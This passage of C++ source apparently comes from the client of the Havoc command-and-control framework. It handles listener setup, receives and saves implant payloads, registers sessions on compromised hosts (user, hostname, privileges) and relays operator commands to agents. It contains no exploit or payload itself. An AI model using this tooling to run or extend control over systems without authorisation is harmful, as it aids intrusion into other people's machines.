ListenerInfo.Protocol == Listener::PayloadHTTP.toStdString() )\n            {\n                auto Headers = QStringList();\n                for ( auto& header : QString( Package->Body.Info[ \"Headers\" ].c_str() ).split( \", \" ) ) {\n                    Headers << header;\n                }\n\n                auto Uris = QStringList();\n                for ( auto& uri : QString( Package->Body.Info[ \"Uris\" ].c_str() ).split( \", \" ) ) {\n                    Uris << uri;\n                }\n\n                auto Hosts = QStringList();\n                for ( auto& host : QString( Package->Body.Info[ \"Hosts\" ].c_str() ).split( \", \" ) ) {\n                    Hosts << host;\n                }\n\n                ListenerInfo.Info = Listener::HTTP {\n                    .Hosts          = Hosts,\n                    .HostBind       = Package->Body.Info[ \"HostBind\" ].c_str(),\n                    .HostRotation   = Package->Body.Info[ \"HostRotation\" ].c_str(),\n                    .PortBind       = Package->Body.Info[ \"PortBind\" ].c_str(),\n                    .PortConn       = Package->Body.Info[ \"PortConn\" ].c_str(),\n                    .UserAgent      = Package->Body.Info[ \"UserAgent\" ].c_str(),\n                    .Headers        = Headers,\n                    .Uris           = Uris,\n                    .HostHeader     = Package->Body.Info[ \"HostHeader\" ].c_str(),\n                    .Secure         = Package->Body.Info[ \"Secure\" ].c_str(),\n\n                    // proxy configuration\n                    .ProxyEnabled   = Package->Body.Info[ \"Proxy Enabled\" ].c_str(),\n                    .ProxyType      = Package->Body.Info[ \"Proxy Type\" ].c_str(),\n                    .ProxyHost      = Package->Body.Info[ \"Proxy Host\" ].c_str(),\n                    .ProxyPort      = Package->Body.Info[ \"Proxy Port\" ].c_str(),\n                    .ProxyUsername  = Package->Body.Info[ \"Proxy Username\" ].c_str(),\n                    .ProxyPassword  = Package->Body.Info[ \"Proxy Password\" ].c_str(),\n                };\n\n                if ( Package->Body.Info[ \"Secure\" ] == \"true\" ) {\n                    ListenerInfo.Protocol = Listener::PayloadHTTPS.toStdString();\n                }\n            }\n            else if ( ListenerInfo.Protocol == Listener::PayloadSMB.toStdString() )\n            {\n                ListenerInfo.Info = Listener::SMB {\n                    .PipeName = Package->Body.Info[ \"PipeName\" ].c_str(),\n                };\n            }\n            else if ( ListenerInfo.Protocol == Listener::PayloadExternal.toStdString() )\n            {\n                ListenerInfo.Info = Listener::External {\n                    .Endpoint = Package->Body.Info[ \"Endpoint\" ].c_str(),\n                };\n            }\n            else\n            {\n                // We assume it's a service listener.\n                auto found = false;\n\n                for ( const auto& listener : HavocX::Teamserver.RegisteredListeners )\n                {\n                    if ( ListenerInfo.Protocol == listener[ \"Name\" ].get<std::string>() )\n                    {\n                        found = true;\n\n                        ListenerInfo.Info = Listener::Service {\n                                { \"Host\",     Package->Body.Info[ \"Host\" ].c_str() },\n                                { \"PortBind\", Package->Body.Info[ \"Port\" ].c_str() },\n                                { \"PortConn\", Package->Body.Info[ \"Port\" ].c_str() },\n                                { \"Info\",     Package->Body.Info[ \"Info\" ].c_str() } // NOTE: this is json string.\n                        };\n\n                        break;\n                    }\n                }\n\n                if ( ! found  )\n                {\n                    spdlog::error( \"Listener protocol type not found: {} \", ListenerInfo.Protocol );\n\n                    MessageBox(\n                        \"Listener Error\",\n                        QString( ( \"Listener protocol type not found: {} \" + ListenerInfo.Protocol ).c_str() ),\n                        QMessageBox::Critical\n                    );\n\n                    return false;\n                }\n            }\n\n            if ( TeamserverTab->ListenerTableWidget == nullptr )\n            {\n                TeamserverTab->ListenerTableWidget = new UserInterface::Widgets::ListenersTable;\n                TeamserverTab->ListenerTableWidget->setupUi( new QWidget );\n                TeamserverTab->ListenerTableWidget->TeamserverName = this->TeamserverName;\n            }\n\n            TeamserverTab->ListenerTableWidget->ListenerAdd( ListenerInfo );\n\n            if ( ListenerInfo.Status.compare( \"Online\" ) == 0 )\n            {\n                auto MsgStr = \"[\" + Util::ColorText::Cyan( \"*\" ) + \"]\" + \" Started \" + Util::ColorText::Green( \"\\\"\" + QString( ListenerInfo.Name.c_str() ) + \"\\\"\" ) + \" listener\";\n                auto Time   = QString( Package->Head.Time.c_str() );\n\n                HavocX::Teamserver.TabSession->SmallAppWidgets->EventViewer->AppendText( Time, MsgStr );\n\n                spdlog::info( \"Started \\\"{}\\\" listener\", ListenerInfo.Name );\n            }\n            else if ( ListenerInfo.Status.compare( \"Offline\" ) == 0 )\n            {\n                if ( ! Package->Body.Info[ \"Error\" ].empty() )\n                {\n                    auto Error = QString( Package->Body.Info[ \"Error\" ].c_str() );\n                    auto Name  = QString( ListenerInfo.Name.c_str() );\n\n                    TeamserverTab->ListenerTableWidget->ListenerError( Name, Error );\n                }\n            }\n\n            break;\n        }\n\n        case Util::Packager::Listener::Remove:\n        {\n\n            HavocX::Teamserver.TabSession->ListenerTableWidget->ListenerRemove( Package->Body.Info[ \"Name\" ].c_str() );\n\n            break;\n        }\n\n        case Util::Packager::Listener::Edit:\n        {\n            auto ListenerInfo = Util::ListenerItem {\n                    .Name     = Package->Body.Info[ \"Name\" ],\n                    .Protocol = Package->Body.Info[ \"Protocol\" ],\n                    .Status   = Package->Body.Info[ \"Status\" ],\n            };\n\n            if ( ListenerInfo.Protocol == Listener::PayloadHTTP.toStdString() )\n            {\n                auto Headers = QStringList();\n                for ( auto& header : QString( Package->Body.Info[ \"Headers\" ].c_str() ).split( \", \" ) )\n                    Headers << header;\n\n                auto Uris = QStringList();\n                for ( auto& uri : QString( Package->Body.Info[ \"Uris\" ].c_str() ).split( \", \" ) )\n                    Uris << uri;\n\n                auto Hosts = QStringList();\n                for ( auto& host : QString( Package->Body.Info[ \"Hosts\" ].c_str() ).split( \", \" ) )\n                    Hosts << host;\n\n\n                ListenerInfo.Info = Listener::HTTP {\n                        .Hosts          = Hosts,\n                        .HostBind       = Package->Body.Info[ \"HostBind\" ].c_str(),\n                        .HostRotation   = Package->Body.Info[ \"HostRotation\" ].c_str(),\n                        .PortBind       = Package->Body.Info[ \"PortBind\" ].c_str(),\n                        .PortConn       = Package->Body.Info[ \"PortConn\" ].c_str(),\n                        .UserAgent      = Package->Body.Info[ \"UserAgent\" ].c_str(),\n                        .Headers        = Headers,\n                        .Uris           = Uris,\n                        .HostHeader     = Package->Body.Info[ \"HostHeader\" ].c_str(),\n                        .Secure         = Package->Body.Info[ \"Secure\" ].c_str(),\n\n                        .ProxyEnabled   = Package->Body.Info[ \"Proxy Enabled\" ].c_str(),\n                        .ProxyType      = Package->Body.Info[ \"Proxy Type\" ].c_str(),\n                        .ProxyHost      = Package->Body.Info[ \"Proxy Host\" ].c_str(),\n                        .ProxyPort      = Package->Body.Info[ \"Proxy Port\" ].c_str(),\n                        .ProxyUsername  = Package->Body.Info[ \"Proxy Username\" ].c_str(),\n                        .ProxyPassword  = Package->Body.Info[ \"Proxy Password\" ].c_str(),\n                };\n\n                if ( Package->Body.Info[ \"Secure\" ] == \"true\" )\n                {\n                    ListenerInfo.Protocol = Listener::PayloadHTTPS.toStdString();\n                }\n\n            }\n            else if ( ListenerInfo.Protocol == Listener::PayloadSMB.toStdString() )\n            {\n                ListenerInfo.Info = Listener::SMB {\n                        .PipeName = Package->Body.Info[ \"PipeName\" ].c_str(),\n                };\n            }\n            else if ( ListenerInfo.Protocol == Listener::PayloadExternal.toStdString() )\n            {\n                ListenerInfo.Info = Listener::External {\n                        .Endpoint = Package->Body.Info[ \"Endpoint\" ].c_str(),\n                };\n            }\n\n            HavocX::Teamserver.TabSession->ListenerTableWidget->ListenerEdit( ListenerInfo );\n\n            break;\n        }\n\n        case Util::Packager::Listener::Mark:\n        {\n            break;\n        }\n\n        case Util::Packager::Listener::Error:\n        {\n            auto Error = Package->Body.Info[ \"Error\" ];\n            auto Name  = Package->Body.Info[ \"Name\" ];\n\n            if ( Package->Head.User.compare( HavocX::Teamserver.User.toStdString() ) == 0 )\n            {\n                if ( ! Name.empty() )\n                {\n                    if ( ! Error.empty() )\n                    {\n                        MessageBox( \"Listener Error\", QString( Error.c_str() ), QMessageBox::Critical );\n                        HavocX::Teamserver.TabSession->ListenerTableWidget->ListenerError( QString( Name.c_str() ), QString( Error.c_str() ) );\n\n                        auto MsgStr = \"[\" + Util::ColorText::Red( \"-\" ) + \"]\" + \" Failed to start \" + Util::ColorText::Green( \"\\\"\" + QString( Name.c_str() ) + \"\\\"\" ) + \" listener: \" + Util::ColorText::Red( Error.c_str() );\n                        auto Time   = QString( Package->Head.Time.c_str() );\n\n                        HavocX::Teamserver.TabSession->SmallAppWidgets->EventViewer->AppendText( Time, MsgStr );\n                    }\n                }\n            }\n            else if ( Package->Head.User.empty() )\n            {\n                if ( ! Name.empty() )\n                {\n                    if ( ! Error.empty() )\n                    {\n                        HavocX::Teamserver.TabSession->ListenerTableWidget->ListenerError( QString( Name.c_str() ), QString( Error.c_str() ) );\n\n                        auto MsgStr = \"[\" + Util::ColorText::Red( \"-\" ) + \"]\" + \" Failed to start \" + Util::ColorText::Green( \"\\\"\" + QString( Name.c_str() ) + \"\\\"\" ) + \" listener: \" + Util::ColorText::Red( Error.c_str() );\n                        auto Time   = QString( Package->Head.Time.c_str() );\n\n                        HavocX::Teamserver.TabSession->SmallAppWidgets->EventViewer->AppendText( Time, MsgStr );\n                    }\n                }\n            }\n\n            break;\n        }\n    }\n    return true;\n}\n\nbool Packager::DispatchChat( Util::Packager::PPackage Package)\n{\n    switch (Package->Body.SubEvent) {\n        case Util::Packager::Chat::NewMessage:\n        {\n            auto TeamserverUser = HavocX::Teamserver.User;\n\n            for ( const auto& e : Package->Body.Info.toStdMap() )\n            {\n                auto Time = QString( Package->Head.Time.c_str() );\n\n                HavocX::Teamserver.TabSession->TeamserverChat->AddUserMessage( Time, string( e.first ).c_str(), QByteArray::fromBase64( string( e.second ).c_str() ) );\n            }\n            break;\n        }\n\n        case Util::Packager::Chat::NewListener:\n        {\n            break;\n        }\n\n        case Util::Packager::Chat::NewSession:\n        {\n            break;\n        }\n\n        case Util::Packager::Chat::NewUser:\n        {\n            auto user = QString( Package->Body.Info.toStdMap()[ \"User\" ].c_str() );\n            auto Time = QString( Package->Head.Time.c_str() );\n\n            HavocX::Teamserver.TabSession->SmallAppWidgets->EventViewer->AppendText( Time,  \"[\" + Util::ColorText::Green( \"+\" ) + \"] \" + Util::ColorText::Green( user + \" connected to teamserver\" ) );\n\n            break;\n        }\n\n        case Util::Packager::Chat::UserDisconnect:\n        {\n            auto user = QString( Package->Body.Info.toStdMap()[ \"User\" ].c_str() );\n            auto Time = QString( Package->Head.Time.c_str() );\n\n            HavocX::Teamserver.TabSession->SmallAppWidgets->EventViewer->AppendText( Time, \"[\" + Util::ColorText::Red( \"-\" ) + \"] \" + Util::ColorText::Red( user + \" disconnected from teamserver\" ) );\n\n            break;\n        }\n    }\n    return true;\n}\n\nbool Packager::DispatchGate( Util::Packager::PPackage Package )\n{\n    switch ( Package->Body.SubEvent )\n    {\n        case Util::Packager::Gate::Staged:\n        {\n            break;\n        }\n\n        case Util::Packager::Gate::Stageless:\n        {\n\n            if ( Package->Body.Info[ \"PayloadArray\" ].size() > 0 )\n            {\n                auto PayloadArray = QString( Package->Body.Info[ \"PayloadArray\" ].c_str() ).toLocal8Bit();\n                auto FileName     = QString( Package->Body.Info[ \"FileName\" ].c_str() );\n\n                if (HavocX::GateGUI)\n                {\n                    HavocX::Teamserver.TabSession->PayloadDialog->ReceivedImplantAndSave( FileName, QByteArray::fromBase64( PayloadArray ) );\n                    HavocX::GateGUI = false;\n                }\n                else\n                {\n                    if ( HavocX::callbackGate )\n                    {\n                        PyObject* pyByteArray= PyUnicode_DecodeFSDefault(Package->Body.Info[ \"PayloadArray\" ].c_str());\n                        PyObject_CallFunctionObjArgs(HavocX::callbackGate, pyByteArray, nullptr);\n                    }\n                    else\n                    {\n                        break; // quit if there is no callback\n                    }\n                }\n            }\n            else if ( Package->Body.Info[ \"MessageType\" ].size() > 0  && HavocX::GateGUI)\n            {\n                auto MessageType = QString( Package->Body.Info[ \"MessageType\" ].c_str() );\n                auto Message     = QString( Package->Body.Info[ \"Message\" ].c_str() );\n\n                HavocX::Teamserver.TabSession->PayloadDialog->addConsoleLog( MessageType, Message );\n            }\n\n            break;\n        }\n    }\n    return true;\n}\n\nbool Packager::DispatchSession( Util::Packager::PPackage Package )\n{\n    switch ( Package->Body.SubEvent )\n    {\n        case Util::Packager::Session::NewSession:\n        {\n            auto TeamserverTab = HavocX::Teamserver.TabSession;\n            auto MagicValue    = uint64_t( 0 );\n            auto StringStream  = std::stringstream();\n\n            StringStream << std::hex << Package->Body.Info[ \"MagicValue\" ].c_str();\n            StringStream >> MagicValue;\n\n            auto Agent = Util::SessionItem {\n                    .Name         = Package->Body.Info[ \"NameID\" ].c_str(),\n                    .MagicValue   = MagicValue,\n                    .External     = Package->Body.Info[ \"ExternalIP\" ].c_str(),\n                    .Internal     = Package->Body.Info[ \"InternalIP\" ].c_str(),\n                    .Listener     = Package->Body.Info[ \"Listener\" ].c_str(),\n                    .User         = Package->Body.Info[ \"Username\" ].c_str(),\n                    .Computer     = Package->Body.Info[ \"Hostname\" ].c_str(),\n                    .Domain       = Package->Body.Info[ \"DomainName\" ].c_str(),\n                    .OS           = Package->Body.Info[ \"OSVersion\" ].c_str(),\n                    .OSBuild      = Package->Body.Info[ \"OSBuild\" ].c_str(),\n                    .OSArch       = Package->Body.Info[ \"OSArch\" ].c_str(),\n                    .Process      = Package->Body.Info[ \"ProcessName\" ].c_str(),\n                    .PID          = Package->Body.Info[ \"ProcessPID\" ].c_str(),\n                    .Arch         = Package->Body.Info[ \"ProcessArch\" ].c_str(),\n                    .First        = Package->Body.Info[ \"FirstCallIn\" ].c_str(),\n                    .Last         = Package->Body.Info[ \"LastCallIn\" ].c_str(),\n                    .Elevated     = Package->Body.Info[ \"Elevated\" ].c_str(),\n                    .PivotParent  = Package->Body.Info[ \"PivotParent\" ].c_str(),\n                    .Marked       = Package->Body.Info[ \"Active\" ].c_str(),\n                    .SleepDelay   = (uint32_t)strtoul(Package->Body.Info[ \"SleepDelay\" ].c_str(), NULL, 0),\n                    .SleepJitter  = (uint32_t)strtoul(Package->Body.Info[ \"SleepJitter\" ].c_str(), NULL, 0),\n                    .KillDate     = (uint64_t)strtoull(Package->Body.Info[ \"KillDate\" ].c_str(), NULL, 0),\n                    .WorkingHours = (uint32_t)strtoul(Package->Body.Info[ \"WorkingHours\" ].c_str(), NULL, 0),\n            };\n\n            Agent.LastUTC = QDateTime::fromString(Agent.Last, \"dd-MM-yyyy HH:mm:ss\");\n\n            if ( Agent.Marked == \"true\" )\n            {\n                Agent.Marked = \"Alive\";\n                Agent.Health = \"healthy\";\n            }\n            else if ( Agent.Marked == \"false\" )\n            {\n                Agent.Marked = \"Dead\";\n                Agent.Health = \"dead\";\n            }\n\n            for ( auto& session : HavocX::Teamserver.Sessions )\n                if ( session.Name.compare( Agent.Name ) == 0 )\n                    return false;\n\n            TeamserverTab->SessionTableWidget->NewSessionItem( Agent );\n            TeamserverTab->LootWidget->AddSessionSection( Agent.Name );\n\n            auto Time    = QString( Package->Head.Time.c_str() );\n            auto Message = \"[\" + Util::ColorText::Cyan( \"*\" ) + \"]\" + \" Initialized \" + Util::ColorText::Cyan( Agent.Name ) + \" :: \" + Util::ColorText::Yellow( Agent.User + \"@\" + Agent.Internal ) + Util::ColorText::Cyan( \" (\" ) + Util::ColorText::Red( Agent.Computer ) + Util::ColorText::Cyan( \")\" );\n\n            HavocX::Teamserver.TabSession->SmallAppWidgets->EventViewer->AppendText( Time, Message );\n\n            if ( Agent.Marked.compare( \"Alive\" ) == 0 )\n            {\n                for ( auto& Callback : HavocX::Teamserver.RegisteredCallbacks )\n                {\n                    if ( PyCallable_Check( Callback ) )\n                    {\n                        PyObject* arglist = Py_BuildValue( \"s\", Agent.Name.toStdString().c_str() );\n                        PyObject* Return  = PyObject_CallFunctionObjArgs( Callback, arglist, NULL );\n                        if ( Return == NULL && PyErr_Occurred() )\n                        {\n                            spdlog::error( \"Error calling callback\" );\n                            PyErr_PrintEx(0);\n                            PyErr_Clear();\n                        }\n                    } else {\n                        spdlog::error( \"Callback is not callable\" );\n                    }\n                }\n            }\n\n            break;\n        }\n\n        case Util::Packager::Session::SendCommand:\n        {\n            for ( auto& Session : HavocX::Teamserver.Sessions )\n            {\n                if ( Session.Name.compare( Package->Body.Info[ \"DemonID\" ].c_str() ) == 0 )\n                {\n                    auto AgentType = QString( Package->Body.Info[ \"AgentType\" ].c_str() );\n\n                    if ( ! Package->Body.Info[ \"CommandLine\" ].empty() )\n                    {\n                        auto TaskID = QString( Package->Body.Info[ \"TaskID\" ].c_str() );\n\n                        if ( AgentType.isEmpty() )\n                            AgentType = \"Demon\";\n\n                        Session.InteractedWidget->DemonCommands->Prompt = QString (\n                                Util::ColorText::Comment( QString( Package->Head.Time.c_str() ) + \" [\" + QString( Package->Head.User.c_str() ) + \"]\" ) +\n                                \" \" + Util::ColorText::UnderlinePink( AgentType ) +\n                                Util::ColorText::Cyan(\" » \") + QString( Package->Body.Info[ \"CommandLine\" ].c_str() )\n                        );\n\n                        if ( ! Package->Body.Info[ \"TaskMessage\" ].empty() )\n                        {\n                            Session.InteractedWidget->DemonCommands->CommandTaskInfo[ TaskID ] = Package->Body.Info[ \"TaskMessage\" ].c_str();\n                        }\n                        else\n                        {\n                            Session.InteractedWidget->AppendRaw();\n                            Session.InteractedWidget->AppendRaw( Session.InteractedWidget->DemonCommands->Prompt );\n                        }\n\n                        Session.InteractedWidget->lineEdit->AddCommand( QString( Package->Body.Info[ \"CommandLine\" ].c_str() ) );\n                        Session.InteractedWidget->DemonCommands->DispatchCommand( false, TaskID, Package->Body.Info[ \"CommandLine\" ].c_str() );\n                    }\n                }\n            }\n            break;\n        }\n\n        case Util::Packager::Session::ReceiveCommand:\n        {\n            for ( auto & Session : HavocX::Teamserver.Sessions )\n            {\n                if ( Session.Name.compare( Package->Body.Info[ \"DemonID\" ].c_str() ) == 0 )\n                {\n                    Session.InteractedWidget->DemonCommands->OutputDispatch.DemonCommandInstance = Session.InteractedWidget->DemonCommands;\n\n                    int CommandID = QString( Package->Body.Info[ \"CommandID\" ].c_str() ).toInt();\n                    auto Output   = QString( Package->Body.Info[ \"Output\" ].c_str() );\n\n                    switch ( CommandID )\n                    {\n                        case ( int ) Commands::CONSOLE_MESSAGE:\n\n                            if ( QByteArray::fromBase64( Output.toLocal8Bit() ).length() > 5 )\n                            {\n                                Session.InteractedWidget->DemonCommands->OutputDispatch.MessageOutput(\n                                        Output,\n                                        QString( Package->Head.Time.c_str() )\n                                );\n                                Session.InteractedWidget->Console->verticalScrollBar()->setValue(\n                                        Session.InteractedWidget->Console->verticalScrollBar()->maximum()\n                                );\n                            }\n\n                            break;\n\n                        case ( int ) Commands::BOF_CALLBACK:\n\n                            if ( QByteArray::fromBase64( Output.toLocal8Bit() ).length() > 5 )\n                            {\n                                auto JsonDocument  = QJsonDocument::fromJson( QByteArray::fromBase64( Output.toLocal8Bit( ) ) );\n                                auto Worked        = JsonDocument[ \"Worked\" ].toString();\n                                auto Output        = JsonDocument[ \"Output\" ].toString();\n                                auto Error         = JsonDocument[ \"Error\"  ].toString();\n                                auto TaskID        = JsonDocument[ \"TaskID\" ].toString();\n                                PyObject* Callback = nullptr;\n\n                                auto it = Session.TaskIDToPythonCallbacks.find( TaskID );\n                                if ( it != Session.TaskIDToPythonCallbacks.end() ) {\n                                    Callback = it->second;\n                                    if ( PyCallable_Check( Callback ) )\n                                    {\n                                        PyObject *arglist = Py_BuildValue( \"ssOss\", Session.Name.toStdString().c_str(), TaskID.toStdString().c_str(), Worked == \"true\" ? Py_True : Py_False, Output.toStdString().c_str(), Error.toStdString().c_str() );\n                                        PyObject_CallObject( Callback, arglist );\n                                        Py_XDECREF( Callback );\n                                    } else {\n                                        spdlog::error( \"Callback is not callable\" );\n                                    }\n\n                                    Session.TaskIDToPythonCallbacks.erase( TaskID );\n\n                                    // print messages from the python the module\n                                    Session.InteractedWidget->DemonCommands->PrintModuleCachedMessages();\n                                } else {\n                                    auto taskId = TaskID.toStdString();\n                                    spdlog::error( \"[PACKAGE] TaskID not found: {}\", taskId );\n                                }\n                            }\n\n                            break;\n\n                        case ( int ) Commands::CALLBACK:\n                        {\n                            // update the \"Last\" field on this session\n                            auto LastTime     = QString( QByteArray::fromBase64( Output.toLocal8Bit() ) );\n                            auto LastTimeJson = QJsonDocument::fromJson( LastTime.toLocal8Bit() );\n\n                            Session.Last         = LastTimeJson[\"Last\"].toString();\n                            Session.LastUTC      = QDateTime::fromString(Session.Last, \"dd-MM-yyyy HH:mm:ss\");\n                            Session.SleepDelay   = (uint32_t)strtoul(LastTimeJson[\"Sleep\"].toString().toStdString().c_str(), NULL, 0);\n                            Session.SleepJitter  = (uint32_t)strtoul(LastTimeJson[\"Jitter\"].toString().toStdString().c_str(), NULL, 0);\n                            Session.KillDate     = (uint64_t)strtoull(LastTimeJson[\"KillDate\"].toString().toStdString().c_str(), NULL, 0);\n                            Session.WorkingHours = (uint32_t)strtoul(LastTimeJson[\"WorkingHours\"].toString().toStdString().c_str(), NULL, 0);\n                            break;\n                        }\n\n                        default:\n                            spdlog::error( \"[PACKAGE] Command not found\" );\n                            break;\n                    }\n\n                    break;\n                }\n            }\n\n            break;\n        }\n\n        case Util::Packager::Session::Remove:\n        {\n            break;\n        }\n\n        case Util::Packager::Session::MarkAs:\n        {\n            auto AgentID = Package->Body.Info[ \"AgentID\" ];\n            auto Marked  = Package->Body.Info[ \"Marked\" ];\n\n            for ( auto& session : HavocX::Teamserver.Sessions )\n            {\n                if ( session.Name.toStdString() == AgentID )\n                {\n                    session.Marked = Marked.c_str();\n                    break;\n                }\n            }\n\n            for ( int i = 0; i < HavocX::Teamserver.TabSession->SessionTableWidget->SessionTableWidget->rowCount(); i++ )\n            {\n                auto Row = HavocX::Teamserver.TabSession->SessionTableWidget->SessionTableWidget->item( i, 0 )->text();\n\n                if ( Row.compare( QString( AgentID.c_str() ) ) == 0 )\n                {\n                    if ( Marked.compare( \"Alive\" ) == 0 )\n                    {\n                        for ( auto& session : HavocX::Teamserver.Sessions )\n                        {\n                            if ( session.Name.toStdString() == AgentID )\n                            {\n                                auto Icon = ( session.Elevated.compare( \"true\" ) == 0 ) ?\n                                        WinVersionIcon( session.OS, true ) :\n                                        WinVersionIcon( session.OS, false );\n\n                                HavocX::Teamserver.TabSession->SessionTableWidget->SessionTableWidget->item( i, 0 )->setIcon( Icon );\n\n                                break;\n                            }\n                        }\n\n                        for ( int j = 0; j < HavocX::Teamserver.TabSession->SessionTableWidget->SessionTableWidget->columnCount(); j++ )\n                        {\n                            HavocX::Teamserver.TabSession->SessionTableWidget->SessionTableWidget->item( i, j )->setBackground( QColor( Util::ColorText::Colors::Hex::Background ) );\n                            HavocX::Teamserver.TabSession->SessionTableWidget->SessionTableWidget->item( i, j )->setForeground( QColor( Util::ColorText::Colors::Hex::Foreground ) );\n                        }\n                    }\n                    else if ( Marked.compare( \"Dead\" ) == 0 )\n                    {\n                        HavocX::Teamserver.TabSession->SessionTableWidget->SessionTableWidget->item( i, 0 )->setIcon( QIcon( \":/icons/DeadWhite\" ) );\n\n                        for ( int j = 0; j < HavocX::Teamserver.TabSession->SessionTableWidget->SessionTableWidget->columnCount(); j++ )\n                        {\n                            HavocX::Teamserver.TabSession->SessionTableWidget->SessionTableWidget->item( i, j )->setBackground( QColor( Util::ColorText::Colors::Hex::CurrentLine ) );\n                            HavocX::Teamserver.TabSession->SessionTableWidget->SessionTableWidget->item( i, j )->setForeground( QColor( Util::ColorText::Colors::Hex::Comment ) );\n                        }\n                    }\n\n                    break;\n                }\n            }\n\n            break;\n        }\n    }\n    return true;\n}\n\nbool Packager::DispatchService( Util::Packager::PPackage Package )\n{\n    switch ( Package->Body.SubEvent )\n    {\n        case Util::Packager::Service::AgentRegister:\n        {\n            auto JsonObject     = QJsonDocument::fromJson( Package->Body.Info[ \"Agent\" ].c_str() ).object();\n            auto OSArray        = QStringList();\n            auto Arch           = QStringList();\n            auto Formats        = std::vector<AgentFormat>();\n            auto Commands       = std::vector<AgentCommands>();\n            auto MagicValue     = uint64_t( 0 );\n            auto StringStream   = std::stringstream();\n            auto AgentName      = std::string();\n\n            for ( const auto& item : JsonObject[ \"Arch\" ].toArray() )\n                Arch << item.toString();\n\n            for ( const auto& item : JsonObject[ \"Formats\" ].toArray() )\n            {\n                Formats.push_back( AgentFormat {\n                        .Name = item.toObject()[ \"Name\" ].toString(),\n                        .Extension = item.toObject()[ \"Extension\" ].toString(),\n                } );\n            }\n\n            for ( const auto& item : JsonObject[ \"SupportedOS\" ].toArray() )\n                OSArray << item.toString();\n\n            for ( const auto& command : JsonObject[ \"Commands\" ].toArray() )\n            {\n                auto Mitr   = QStringList();\n                auto Params = std::vector<CommandParam>();\n\n                for ( const auto& param : command.toObject()[ \"Params\" ].toArray() )\n                {\n                    Params.push_back( CommandParam {\n                        .Name       = param.toObject()[ \"Name\" ].toString(),\n                        .IsFilePath = param.toObject()[ \"IsFilePath\" ].toBool(),\n                        .IsOptional = param.toObject()[ \"IsOptional\" ].toBool(),\n                    } );\n                }\n\n                for ( const auto& i : command.toObject()[ \"Mitr\" ].toArray() )\n                    Mitr << i.toString();\n\n                Commands.push_back( AgentCommands{\n                    .Name        = command.toObject()[ \"Name\" ].toString(),\n                    .Description = command.toObject()[ \"Description\" ].toString(),\n                    .Help        = command.toObject()[ \"Help\" ].toString(),\n                    .NeedAdmin   = command.toObject()[ \"NeedAdmin\" ].toBool(),\n                    .Mitr        = Mitr,\n                    .Params      = Params,\n                    .Anonymous   = command.toObject()[ \"Anonymous\" ].toBool(),\n                } );\n            }\n\n            StringStream << std::hex << JsonObject[ \"MagicValue\" ].toString().toStdString();\n            StringStream >> MagicValue;\n\n            HavocX::Teamserver.ServiceAgents.push_back( ServiceAgent{\n                .Name           = JsonObject[ \"Name\" ].toString(),\n                .Description    = JsonObject[ \"Description\" ].toString(),\n                .Version        = JsonObject[ \"Version\" ].toString(),\n                .MagicValue     = MagicValue,\n                .Arch           = Arch,\n                .Formats        = Formats,\n                .SupportedOS    = OSArray,\n                .Commands       = Commands,\n                .BuildingConfig = QJsonDocument( JsonObject[ \"BuildingConfig\" ].toObject() ),\n            } );\n\n            AgentName = JsonObject[ \"Name\" ].toString().toStdString();\n\n            spdlog::info( \"Added service agent to client: {}\", AgentName );\n\n            return true;\n        }\n\n        case Util::Packager::Service::ListenerRegister:\n        {\n            auto listener = json::parse( Package->Body.Info[ \"Listener\" ].c_str() );\n            auto name     = listener[ \"Name\" ].get<std::string>();\n\n            HavocX::Teamserver.RegisteredListeners.push_back( listener );\n\n            spdlog::info( \"Added service listener to client: {}\", name );\n\n            return true;\n        }\n\n        default: break;\n    }\n    return false;\n}\n\nbool Packager::DispatchTeamserver( Util::Packager::PPackage Package )\n{\n    switch ( Package->Body.SubEvent )\n    {\n        case Util::Packager::Teamserver::Logger:\n        {\n            auto Text = QString( Package->Body.Info[ \"Text\" ].c_str() );\n\n            if ( HavocX::Teamserver.TabSession->Teamserver == nullptr )\n            {\n                HavocX::Teamserver.TabSession->Teamserver = new Teamserver;\n                HavocX::Teamserver.TabSession->Teamserver->setupUi( new QDialog );\n            }\n\n            HavocX::Teamserver.TabSession->Teamserver->AddLoggerText( Text );\n        }\n\n        case Util::Packager::Teamserver::Profile:\n        {\n\n        }\n    }\n    return true;\n}\n\n\nvoid Packager::setTeamserver( QString Name )\n{\n    this->TeamserverName = Name;\n}\n"
  },
  {
    "path": "client/src/Havoc/PythonApi/Event.cc",
    "content": "#include <Python.h>\n#include <structmember.h>\n\n#include <Havoc/PythonApi/Event.h>\n\n// TODO: finish this.\n\nPyMemberDef PyEventClass_members[] = {\n        // { \"SessionFuncList\", T_OBJECT, offsetof( PyEvents, SessionFuncList ), 0, \"Session function list\" },\n\n        { NULL },\n};\n\nPyMethodDef PyEventClass_methods[] = {\n        { \"OnNewSession\",   ( PyCFunction ) EventClass_OnNewSession, METH_VARARGS | METH_STATIC, \"Event on new session\" },\n\n        { NULL },\n};\n\nPyTypeObject PyEventClass_Type = {\n        PyVarObject_HEAD_INIT( &PyType_Type, 0 )\n\n        \"havoc.Event\",                              /* tp_name */\n        sizeof( PyEvents ),                         /* tp_basicsize */\n        0,                                          /* tp_itemsize */\n        ( destructor ) EventClass_dealloc,          /* tp_dealloc */\n        0,                                          /* tp_print */\n        0,                                          /* tp_getattr */\n        0,                                          /* tp_setattr */\n        0,                                          /* tp_reserved */\n        0,                                          /* tp_repr */\n        0,                                          /* tp_as_number */\n        0,                                          /* tp_as_sequence */\n        0,                                          /* tp_as_mapping */\n        0,                                          /* tp_hash */\n        0,                                          /* tp_call */\n        0,                                          /* tp_str */\n        0,                                          /* tp_getattro */\n        0,                                          /* tp_setattro */\n        0,                                          /* tp_as_buffer */\n        Py_TPFLAGS_DEFAULT | Py_TPFLAGS_BASETYPE,   /* tp_flags */\n        \"Havoc Event Object\",                       /* tp_doc */\n        0,                                          /* tp_traverse */\n        0,                                          /* tp_clear */\n        0,                                          /* tp_richcompare */\n        0,                                          /* tp_weaklistoffset */\n        0,                                          /* tp_iter */\n        0,                                          /* tp_iternext */\n        PyEventClass_methods,                       /* tp_methods */\n        PyEventClass_members,                       /* tp_members */\n        0,                                          /* tp_getset */\n        0,                                          /* tp_base */\n        0,                                          /* tp_dict */\n        0,                                          /* tp_descr_get */\n        0,                                          /* tp_descr_set */\n        0,                                          /* tp_dictoffset */\n        ( initproc ) EventClass_init,               /* tp_init */\n        0,                                          /* tp_alloc */\n        EventClass_new,                             /* tp_new */\n};\n\n#define AllocMov( des, src, size )                          \\\n    if ( size > 0 )                                         \\\n    {                                                       \\\n        des = ( char* ) malloc( size * sizeof( char ) );    \\\n        memset( des, 0, size );                             \\\n        std::strcpy( des, src );             